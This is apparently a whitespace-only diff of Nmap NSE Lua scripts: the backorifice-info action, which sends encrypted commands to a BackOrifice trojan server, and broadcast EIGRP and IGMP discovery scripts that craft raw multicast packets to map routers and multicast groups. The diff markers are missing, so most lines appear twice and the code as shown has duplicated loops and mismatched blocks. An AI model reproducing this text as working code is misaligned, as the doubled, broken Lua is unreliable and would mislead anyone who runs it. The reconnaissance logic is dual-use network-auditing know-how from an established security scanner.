if(port.version.name==nil) then
port.version.name ="BackOrifice"
port.version.name_confidence = 10
end
if(port.version.product==nil) then port.version.product ="BackOrifice trojan" end
if(port.version.version == nil) then port.version.version = BOversion end
if(port.version.extrainfo == nil) then
if password == nil then
if initial_seed == nil then
port.version.extrainfo = "no password"
else
port.version.extrainfo = "initial encryption seed="..initial_seed
end
else
port.version.extrainfo = "password="..password
end
end
port.version.hostname = BOhostname
if(port.version.ostype == nil) then port.version.ostype = "Windows" end
nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open")
end
action = function( host, port )
--initial seed is set by backorifice-brute
local initial_seed = stdnse.get_script_args( SCRIPT_NAME .. ".seed" )
local password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local socket = nmap.new_socket("udp")
local try = nmap.new_try(function() socket:close() end)
socket:set_timeout(5000)
--initial seed is set by backorifice-brute
local initial_seed = stdnse.get_script_args( SCRIPT_NAME .. ".seed" )
local password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local socket = nmap.new_socket("udp")
local try = nmap.new_try(function() socket:close() end)
socket:set_timeout(5000)
local output_all={}
local output_all={}
for i=1,#cmds do
--send command
local data = BOpack( cmds[i].p_code, cmds[i].arg1, cmds[i].arg2 )
data = BOcrypt(data, password, initial_seed)
try(socket:sendto(host.ip, port.number, data))
for i=1,#cmds do
--send command
local data = BOpack( cmds[i].p_code, cmds[i].arg1, cmds[i].arg2 )
data = BOcrypt(data, password, initial_seed)
try(socket:sendto(host.ip, port.number, data))
--receive info
local output, response, p_type, multi_flag
output = {}
output.name = cmds[i].cmd_name
multi_flag = false
while true do
response = try(socket:receive())
response = BOcrypt(response,password,initial_seed)
response, p_type = BOunpack(response) -- p_type -> error, singular, partial, continued
--receive info
local output, response, p_type, multi_flag
output = {}
output.name = cmds[i].cmd_name
multi_flag = false
while true do
response = try(socket:receive())
response = BOcrypt(response,password,initial_seed)
response, p_type = BOunpack(response) -- p_type -> error, singular, partial, continued
if p_type ~= TYPE.ERROR then
local tmp_str = cmds[i].filter(response)
if tmp_str ~= nil then
if cmds[i].p_code==TYPE.PING then
--invalid chars for hostname are allowed on old windows boxes
local BOversion, BOhostname = string.match(tmp_str,"!PONG!(1%.20)!(.*)!")
if BOversion==nil then
--in case of bad PING reply return ""
return
else
--fill up version information
insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
end
end
if p_type ~= TYPE.ERROR then
local tmp_str = cmds[i].filter(response)
if tmp_str ~= nil then
if cmds[i].p_code==TYPE.PING then
--invalid chars for hostname are allowed on old windows boxes
local BOversion, BOhostname = string.match(tmp_str,"!PONG!(1%.20)!(.*)!")
if BOversion==nil then
--in case of bad PING reply return ""
return
else
--fill up version information
insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
end
end
table.insert(output,tmp_str)
end
table.insert(output,tmp_str)
end
--singular
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00
and bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then break end
--singular
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00
and bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then break end
--first
if bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then
multi_flag = true
end
--first
if bit.band(p_type,TYPE.CONTINUED_PACKET)==0x00 then
multi_flag = true
end
--last
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00 then break end
end
--last
if bit.band(p_type,TYPE.PARTIAL_PACKET)==0x00 then break end
end
end
--gather all responses in table
table.insert(output_all,output)
end
end
--gather all responses in table
table.insert(output_all,output)
end
socket:close()
return stdnse.format_output(true,output_all)
socket:close()
return stdnse.format_output(true,output_all)
end

View File

@@ -76,15 +76,15 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "broadcast", "safe"}
prerule = function()
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
@@ -92,22 +92,22 @@ end
--@param interface Network interface to use.
--@param eigrp_raw Raw eigrp packet.
local eigrpSend = function(interface, eigrp_raw)
local srcip = interface.address
local dstip = "224.0.0.10"
local srcip = interface.address
local dstip = "224.0.0.10"
local ip_raw = bin.pack("H", "45c00040ed780000015818bc0a00c8750a00c86b") .. eigrp_raw
local eigrp_packet = packet.Packet:new(ip_raw, ip_raw:len())
eigrp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
eigrp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
eigrp_packet:ip_set_len(#eigrp_packet.buf)
eigrp_packet:ip_count_checksum()
local ip_raw = bin.pack("H", "45c00040ed780000015818bc0a00c8750a00c86b") .. eigrp_raw
local eigrp_packet = packet.Packet:new(ip_raw, ip_raw:len())
eigrp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
eigrp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
eigrp_packet:ip_set_len(#eigrp_packet.buf)
eigrp_packet:ip_count_checksum()
local sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 0a", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. eigrp_packet.buf)
sock:ethernet_close()
local sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 0a", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. eigrp_packet.buf)
sock:ethernet_close()
end
@@ -116,48 +116,48 @@ end
--@param timeout Ammount of time to listen for.
--@param responses Table to put valid responses into.
local eigrpListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses)
local routers = {}
local status, l3data, response, p, eigrp_raw, _
local start = nmap.clock_ms()
-- Filter for EIGRP packets that are sent either to us or to multicast
local filter = "ip proto 88 and (ip dst host " .. interface.address .. " or 224.0.0.10)"
local listener = nmap.new_socket()
listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter)
local condvar = nmap.condvar(responses)
local routers = {}
local status, l3data, response, p, eigrp_raw, _
local start = nmap.clock_ms()
-- Filter for EIGRP packets that are sent either to us or to multicast
local filter = "ip proto 88 and (ip dst host " .. interface.address .. " or 224.0.0.10)"
local listener = nmap.new_socket()
listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter)
-- For each EIGRP packet captured until timeout
while (nmap.clock_ms() - start) < timeout do
response = {}
response.tlvs = {}
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check if it is an EIGRPv2 Update
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x01 then
-- Skip if did get the info from this router before
if not routers[p.ip_src] then
-- Parse header
response = eigrp.EIGRP.parse(eigrp_raw)
response.src = p.ip_src
response.interface = interface.shortname
end
if response then
-- See, if it has routing information
for _,tlv in pairs(response.tlvs) do
if eigrp.EIGRP.isRoutingTLV(tlv.type) then
routers[p.ip_src] = true
table.insert(responses, response)
break
end
end
end
end
end
-- For each EIGRP packet captured until timeout
while (nmap.clock_ms() - start) < timeout do
response = {}
response.tlvs = {}
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check if it is an EIGRPv2 Update
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x01 then
-- Skip if did get the info from this router before
if not routers[p.ip_src] then
-- Parse header
response = eigrp.EIGRP.parse(eigrp_raw)
response.src = p.ip_src
response.interface = interface.shortname
end
if response then
-- See, if it has routing information
for _,tlv in pairs(response.tlvs) do
if eigrp.EIGRP.isRoutingTLV(tlv.type) then
routers[p.ip_src] = true
table.insert(responses, response)
break
end
end
end
end
end
condvar("signal")
return
end
condvar("signal")
return
end
-- Listens for EIGRP announcements to grab a valid Autonomous System value.
@@ -165,176 +165,176 @@ end
--@param timeout Max amount of time to listen for.
--@param astab Table to put result into.
local asListener = function(interface, timeout, astab)
local condvar = nmap.condvar(astab)
local status, l3data, p, eigrp_raw, eigrp_hello, _
local start = nmap.clock_ms()
local filter = "ip proto 88 and ip dst host 224.0.0.10"
local listener = nmap.new_socket()
listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
-- Check if another listener already found an A.S value.
if #astab > 0 then break end
local condvar = nmap.condvar(astab)
local status, l3data, p, eigrp_raw, eigrp_hello, _
local start = nmap.clock_ms()
local filter = "ip proto 88 and ip dst host 224.0.0.10"
local listener = nmap.new_socket()
listener:set_timeout(500)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
-- Check if another listener already found an A.S value.
if #astab > 0 then break end
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Listen for EIGRPv2 Hello packets
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x05 then
eigrp_hello = eigrp.EIGRP.parse(eigrp_raw)
if eigrp_hello and eigrp_hello.as then
table.insert(astab, eigrp_hello.as)
break
end
end
end
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
eigrp_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Listen for EIGRPv2 Hello packets
if eigrp_raw:byte(1) == 0x02 and eigrp_raw:byte(2) == 0x05 then
eigrp_hello = eigrp.EIGRP.parse(eigrp_raw)
if eigrp_hello and eigrp_hello.as then
table.insert(astab, eigrp_hello.as)
break
end
end
end
condvar("signal")
end
condvar("signal")
end
action = function()
-- Get script arguments
local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
local kparams = stdnse.get_script_args(SCRIPT_NAME .. ".kparams") or "101000"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local output, responses, interfaces, lthreads = {}, {}, {}, {}
local result, response, route, eigrp_hello, k
local timeout = (timeout or 10) * 1000
-- Get script arguments
local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
local kparams = stdnse.get_script_args(SCRIPT_NAME .. ".kparams") or "101000"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local output, responses, interfaces, lthreads = {}, {}, {}, {}
local result, response, route, eigrp_hello, k
local timeout = (timeout or 10) * 1000
-- K params should be of length 6
-- Cisco routers ignore eigrp packets that don't have matching K parameters
if #kparams < 6 or #kparams > 6 then
return "\n ERROR: kparams should be of size 6."
else
k = {}
k[1] = string.sub(kparams, 1,1)
k[2] = string.sub(kparams, 2,2)
k[3] = string.sub(kparams, 3,3)
k[4] = string.sub(kparams, 4,4)
k[5] = string.sub(kparams, 5,5)
k[6] = string.sub(kparams, 6)
-- K params should be of length 6
-- Cisco routers ignore eigrp packets that don't have matching K parameters
if #kparams < 6 or #kparams > 6 then
return "\n ERROR: kparams should be of size 6."
else
k = {}
k[1] = string.sub(kparams, 1,1)
k[2] = string.sub(kparams, 2,2)
k[3] = string.sub(kparams, 3,3)
k[4] = string.sub(kparams, 4,4)
k[5] = string.sub(kparams, 5,5)
k[6] = string.sub(kparams, 6)
end
interface = interface or nmap.get_interface()
if interface then
-- If an interface was provided, get its information
interface = nmap.get_interface_info(interface)
if not interface then
return ("\n ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
interface = interface or nmap.get_interface()
if interface then
-- If an interface was provided, get its information
interface = nmap.get_interface_info(interface)
if not interface then
return ("\n ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
end
-- If user didn't provide an Autonomous System value, we listen fro multicast
-- HELLO router announcements to get one.
if not as then
-- We use a table for condvar
local astab = {}
stdnse.print_debug("%s: No A.S value provided, will sniff for one.", SCRIPT_NAME)
-- We should iterate over interfaces
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(asListener, interface, timeout, astab)
lthreads[co] = true
end
local condvar = nmap.condvar(astab)
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
if #astab > 0 then
stdnse.print_debug("Will use %s A.S value.", astab[1])
as = astab[1]
else
return "\n ERROR: Couldn't get an A.S value."
end
end
-- Craft Hello packet
eigrp_hello = eigrp.EIGRP:new(eigrp.OPCODE.HELLO, as)
-- K params
eigrp_hello:addTLV({ type = eigrp.TLV.PARAM, k = k, htime = 15})
-- Software version
eigrp_hello:addTLV({ type = eigrp.TLV.SWVER, majv = 12, minv = 4, majtlv = 1, mintlv = 2})
-- On each interface, launch the listening thread and send the Hello packet.
lthreads = {}
-- If user didn't provide an Autonomous System value, we listen fro multicast
-- HELLO router announcements to get one.
if not as then
-- We use a table for condvar
local astab = {}
stdnse.print_debug("%s: No A.S value provided, will sniff for one.", SCRIPT_NAME)
-- We should iterate over interfaces
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(eigrpListener, interface, timeout, responses)
-- We insert a small delay before sending the Hello so the listening
-- thread doesn't miss updates.
stdnse.sleep(0.5)
lthreads[co] = true
eigrpSend(interface, tostring(eigrp_hello))
local co = stdnse.new_thread(asListener, interface, timeout, astab)
lthreads[co] = true
end
local condvar = nmap.condvar(responses)
local condvar = nmap.condvar(astab)
-- Wait for the listening threads to finish
repeat
condvar("wait")
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
-- Output the useful info from the responses
if #responses > 0 then
for _, response in pairs(responses) do
result = {}
result.name = response.src
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
table.insert(result, "Interface: " .. response.interface)
table.insert(result, ("A.S: %d"):format(response.as))
table.insert(result, ("Virtual Router ID: %d"):format(response.routerid))
-- Output routes information TLVs
for _, tlv in pairs(response.tlvs) do
route = {}
-- We are only interested in Internal or external routes
if tlv.type == eigrp.TLV.EXT then
route.name = "External route"
for name, value in pairs(eigrp.EXT_PROTO) do
if value == tlv.eproto then
table.insert(route, ("Protocol: %s"):format(name))
break
end
end
table.insert(route, ("Originating A.S: %s"):format(tlv.oas))
table.insert(route, ("Originating Router ID: %s"):format(tlv.orouterid))
if target.ALLOW_NEW_TARGETS then target.add(tlv.orouterid) end
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
elseif tlv.type == eigrp.TLV.INT then
route.name = "Internal route"
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
end
end
table.insert(output, result)
end
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
if #astab > 0 then
stdnse.print_debug("Will use %s A.S value.", astab[1])
as = astab[1]
else
return "\n ERROR: Couldn't get an A.S value."
end
end
-- Craft Hello packet
eigrp_hello = eigrp.EIGRP:new(eigrp.OPCODE.HELLO, as)
-- K params
eigrp_hello:addTLV({ type = eigrp.TLV.PARAM, k = k, htime = 15})
-- Software version
eigrp_hello:addTLV({ type = eigrp.TLV.SWVER, majv = 12, minv = 4, majtlv = 1, mintlv = 2})
-- On each interface, launch the listening thread and send the Hello packet.
lthreads = {}
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(eigrpListener, interface, timeout, responses)
-- We insert a small delay before sending the Hello so the listening
-- thread doesn't miss updates.
stdnse.sleep(0.5)
lthreads[co] = true
eigrpSend(interface, tostring(eigrp_hello))
end
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish
repeat
condvar("wait")
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
until next(lthreads) == nil;
-- Output the useful info from the responses
if #responses > 0 then
for _, response in pairs(responses) do
result = {}
result.name = response.src
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
table.insert(result, "Interface: " .. response.interface)
table.insert(result, ("A.S: %d"):format(response.as))
table.insert(result, ("Virtual Router ID: %d"):format(response.routerid))
-- Output routes information TLVs
for _, tlv in pairs(response.tlvs) do
route = {}
-- We are only interested in Internal or external routes
if tlv.type == eigrp.TLV.EXT then
route.name = "External route"
for name, value in pairs(eigrp.EXT_PROTO) do
if value == tlv.eproto then
table.insert(route, ("Protocol: %s"):format(name))
break
end
end
table.insert(route, ("Originating A.S: %s"):format(tlv.oas))
table.insert(route, ("Originating Router ID: %s"):format(tlv.orouterid))
if target.ALLOW_NEW_TARGETS then target.add(tlv.orouterid) end
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
elseif tlv.type == eigrp.TLV.INT then
route.name = "Internal route"
table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
table.insert(route, ("Next hop: %s"):format(tlv.nexth))
table.insert(result, route)
end
end
table.insert(output, result)
end
if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
end

View File

@@ -88,15 +88,15 @@ interfaces.
prerule = function()
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
author = "Hani Benhabiles"
@@ -109,54 +109,54 @@ categories = {"discovery", "safe", "broadcast"}
-- @param data string IGMP Raw packet.
-- @return response table Structured igmp packet.
local igmpParse = function(data)
local index
local response = {}
local group, source
-- Report type (0x12 == v1, 0x16 == v2, 0x22 == v3)
index, response.type = bin.unpack(">C", data, index)
if response.type == 0x12 or response.type == 0x16 then
-- Max response time
index, response.maxrt = bin.unpack(">C", data, index)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Multicast group
index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group)
return response
elseif response.type == 0x22 and #data >= 12 then
-- Skip reserved byte
index = index + 1
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Skip reserved byte
index = index + 2
-- Number of groups
index, response.ngroups = bin.unpack(">S", data, index)
response.groups = {}
for i=1,response.ngroups do
group = {}
-- Mode is either INCLUDE or EXCLUDE
index, group.mode = bin.unpack(">C", data, index)
-- Auxiliary data length in the group record (in 32bits units)
index, group.auxdlen = bin.unpack(">C", data, index)
-- Number of source addresses
index, group.nsrc = bin.unpack(">S", data, index)
index, group.address = bin.unpack("<I", data, index)
group.address = ipOps.fromdword(group.address)
group.src = {}
if group.nsrc > 0 then
for i=1,group.nsrc do
index, source = bin.unpack("<I", data, index)
table.insert(group.src, ipOps.fromdword(source))
end
end
-- Skip auxiliary data
index = index + group.auxdlen
-- Insert group
table.insert(response.groups, group)
end
return response
local index
local response = {}
local group, source
-- Report type (0x12 == v1, 0x16 == v2, 0x22 == v3)
index, response.type = bin.unpack(">C", data, index)
if response.type == 0x12 or response.type == 0x16 then
-- Max response time
index, response.maxrt = bin.unpack(">C", data, index)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Multicast group
index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group)
return response
elseif response.type == 0x22 and #data >= 12 then
-- Skip reserved byte
index = index + 1
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Skip reserved byte
index = index + 2
-- Number of groups
index, response.ngroups = bin.unpack(">S", data, index)
response.groups = {}
for i=1,response.ngroups do
group = {}
-- Mode is either INCLUDE or EXCLUDE
index, group.mode = bin.unpack(">C", data, index)
-- Auxiliary data length in the group record (in 32bits units)
index, group.auxdlen = bin.unpack(">C", data, index)
-- Number of source addresses
index, group.nsrc = bin.unpack(">S", data, index)
index, group.address = bin.unpack("<I", data, index)
group.address = ipOps.fromdword(group.address)
group.src = {}
if group.nsrc > 0 then
for i=1,group.nsrc do
index, source = bin.unpack("<I", data, index)
table.insert(group.src, ipOps.fromdword(source))
end
end
-- Skip auxiliary data
index = index + group.auxdlen
-- Insert group
table.insert(response.groups, group)
end
return response
end
end
--- Listens for IGMP Membership reports packets.
@@ -164,42 +164,42 @@ end
-- @param timeout Amount of time to listen for.
-- @param responses table to put valid responses into.
local igmpListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, igmp_raw, status, l3data, response, _
local devices = {}
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, 'ip proto 2')
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, igmp_raw, status, l3data, response, _
local devices = {}
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, 'ip proto 2')
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
igmp_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- check the first byte before sending to the parser
-- response 0x12 == Membership Response version 1
-- response 0x16 == Membership Response version 2
-- response 0x22 == Membership Response version 3
local igmptype = igmp_raw:byte(1)
if igmptype == 0x12 or igmptype == 0x16 or igmptype == 0x22 then
response = igmpParse(igmp_raw)
if response then
response.src = p.ip_src
response.interface = interface.shortname
-- Many hosts return more than one same response message
-- this is to not output duplicates
if not devices[response.src..response.type..(response.group or response.ngroups)] then
devices[response.src..response.type..(response.group or response.ngroups)] = true
table.insert(responses, response)
end
end
end
end
end
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
igmp_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- check the first byte before sending to the parser
-- response 0x12 == Membership Response version 1
-- response 0x16 == Membership Response version 2
-- response 0x22 == Membership Response version 3
local igmptype = igmp_raw:byte(1)
if igmptype == 0x12 or igmptype == 0x16 or igmptype == 0x22 then
response = igmpParse(igmp_raw)
if response then
response.src = p.ip_src
response.interface = interface.shortname
-- Many hosts return more than one same response message
-- this is to not output duplicates
if not devices[response.src..response.type..(response.group or response.ngroups)] then
devices[response.src..response.type..(response.group or response.ngroups)] = true
table.insert(responses, response)
end
end
end
end
end
condvar("signal")
end
condvar("signal")
end
--- Crafts a raw IGMP packet.
@@ -207,40 +207,40 @@ end
-- @param vesion IGMP version. Could be 1, 2 or 3.
-- @return string Raw IGMP packet.
local igmpRaw = function(interface, version)
-- Only 1, 2 and 3 are valid IGMP versions
if version ~= 1 and version ~= 2 and version ~= 3 then
stdnse.print_debug("IGMP version %s doesn't exist.", version)
return
end
-- Only 1, 2 and 3 are valid IGMP versions
if version ~= 1 and version ~= 2 and version ~= 3 then
stdnse.print_debug("IGMP version %s doesn't exist.", version)
return
end
-- Let's craft an IGMP Membership Query
local igmp_raw = bin.pack(">C", 0x11) -- Membership Query, same for all versions
if version == 1 then
igmp_raw = igmp_raw .. bin.pack(">C", 0x00) -- Unused, 0x00 for version 1 only
else
igmp_raw = igmp_raw .. bin.pack(">C", 0x16) -- Max response time: 10 Seconds, for version 2 and 3
end
-- Let's craft an IGMP Membership Query
local igmp_raw = bin.pack(">C", 0x11) -- Membership Query, same for all versions
if version == 1 then
igmp_raw = igmp_raw .. bin.pack(">C", 0x00) -- Unused, 0x00 for version 1 only
else
igmp_raw = igmp_raw .. bin.pack(">C", 0x16) -- Max response time: 10 Seconds, for version 2 and 3
end
igmp_raw = igmp_raw .. bin.pack(">S", 0x00) -- Checksum, calculated later
igmp_raw = igmp_raw .. bin.pack(">I", 0x00) -- Multicast Address: 0.0.0.0
igmp_raw = igmp_raw .. bin.pack(">S", 0x00) -- Checksum, calculated later
igmp_raw = igmp_raw .. bin.pack(">I", 0x00) -- Multicast Address: 0.0.0.0
if version == 3 then
-- Reserved = 4 bits (Should be zeroed)
-- Supress Flag = 1 bit
-- QRV (Querier's Robustness Variable) = 3 bits
-- all are set to 0
igmp_raw = igmp_raw .. bin.pack(">C", 0x00)
-- QQIC (Querier's Query Interval Code) in seconds = Set to 0 to get insta replies.
igmp_raw = igmp_raw .. bin.pack(">C", 0x10)
-- Number of sources (in the next arrays) = 1 ( Our IP only)
igmp_raw = igmp_raw .. bin.pack(">S", 0x01)
-- Source = Our IP address
igmp_raw = igmp_raw .. bin.pack(">I", ipOps.todword(interface.address))
end
if version == 3 then
-- Reserved = 4 bits (Should be zeroed)
-- Supress Flag = 1 bit
-- QRV (Querier's Robustness Variable) = 3 bits
-- all are set to 0
igmp_raw = igmp_raw .. bin.pack(">C", 0x00)
-- QQIC (Querier's Query Interval Code) in seconds = Set to 0 to get insta replies.
igmp_raw = igmp_raw .. bin.pack(">C", 0x10)
-- Number of sources (in the next arrays) = 1 ( Our IP only)
igmp_raw = igmp_raw .. bin.pack(">S", 0x01)
-- Source = Our IP address
igmp_raw = igmp_raw .. bin.pack(">I", ipOps.todword(interface.address))
end
igmp_raw = igmp_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(igmp_raw)) .. igmp_raw:sub(5)
igmp_raw = igmp_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(igmp_raw)) .. igmp_raw:sub(5)
return igmp_raw
return igmp_raw
end
@@ -249,181 +249,181 @@ local igmpQuery;
-- @param interface Network interface to send on.
-- @param vesion IGMP version. Could be 1, 2, 3 or all.
igmpQuery = function(interface, version)
local srcip = interface.address
local dstip = "224.0.0.1"
local srcip = interface.address
local dstip = "224.0.0.1"
if version == 'all' then
-- Small pause to let listener begin and not miss reports.
stdnse.sleep(0.5)
igmpQuery(interface, 3)
igmpQuery(interface, 2)
igmpQuery(interface, 1)
else
local igmp_raw = igmpRaw(interface, version)
if version == 'all' then
-- Small pause to let listener begin and not miss reports.
stdnse.sleep(0.5)
igmpQuery(interface, 3)
igmpQuery(interface, 2)
igmpQuery(interface, 1)
else
local igmp_raw = igmpRaw(interface, version)
local ip_raw = bin.pack("H", "45c00040ed780000010218bc0a00c8750a00c86b") .. igmp_raw
local igmp_packet = packet.Packet:new(ip_raw, ip_raw:len())
igmp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
igmp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
igmp_packet:ip_set_len(#igmp_packet.buf)
igmp_packet:ip_count_checksum()
local ip_raw = bin.pack("H", "45c00040ed780000010218bc0a00c8750a00c86b") .. igmp_raw
local igmp_packet = packet.Packet:new(ip_raw, ip_raw:len())
igmp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
igmp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
igmp_packet:ip_set_len(#igmp_packet.buf)
igmp_packet:ip_count_checksum()
local sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
local sock = nmap.new_dnet()
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. igmp_packet.buf)
sock:ethernet_close()
end
-- Ethernet IPv4 multicast, our ethernet address and type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. igmp_packet.buf)
sock:ethernet_close()
end
end
-- Function to compare wieght of an IGMP response message.
-- Used to sort elements in responses table.
local respCompare = function(a,b)
return ipOps.todword(a.src) + a.type + (a.ngroups or ipOps.todword(a.group))
< ipOps.todword(b.src) + b.type + (b.ngroups or ipOps.todword(b.group))
return ipOps.todword(a.src) + a.type + (a.ngroups or ipOps.todword(a.group))
< ipOps.todword(b.src) + b.type + (b.ngroups or ipOps.todword(b.group))
end
local mgroup_names_fetch = function(filename)
local groupnames_db = {}
local groupnames_db = {}
local file = io.open(filename, "r")
if not file then
